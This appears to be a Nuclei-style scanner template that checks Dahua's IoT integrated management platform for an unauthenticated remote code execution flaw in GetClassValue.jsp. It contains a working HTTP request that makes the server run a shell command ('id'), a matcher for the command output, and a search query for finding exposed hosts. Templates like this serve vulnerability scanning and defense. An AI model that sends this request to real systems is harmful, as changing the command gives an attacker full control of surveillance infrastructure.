Description
Remote Code Execution Vulnerability in Dahua Intelligent IoT Integrated Management Platform via GetClassValue.jsp.
Remote Code Execution Vulnerability in Dahua Intelligent IoT Integrated Management Platform via GetClassValue.jsp.
id: dahua-icc-getclassvalue-rce
info:
name: Dahua 'GetClassValue' - Remote Code Execution
author: ProjectDiscoveryAI
severity: critical
description: |
Remote Code Execution Vulnerability in Dahua Intelligent IoT Integrated Management Platform via GetClassValue.jsp.
reference:
- https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/dahua-icc-getclassvalue-rce.yaml
classification:
cwe-id: CWE-78,CWE-94,CWE-470
metadata:
fofa-query: app="dahua-智能物联综合管理平台"
max-request: 1
tags: rce,java,dahua,iot,unauth,vuln
http:
- raw:
- |
POST /evo-apigw/admin/API/Developer/GetClassValue.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"data": {
"clazzName": "com.dahua.admin.util.RuntimeUtil",
"methodName": "syncexecReturnInputStream",
"fieldName": ["id"]
}
}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- type: status
status:
- 200
# digest: 490a004630440220605971f2a72a5df68ace8a90481fd80cbe0b5dadc6df9e480c752d4268c19cf60220121f6c02a23bbf76cb66e42580a2f7603665bab6f546929a8b38f6f1c3b4e461:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.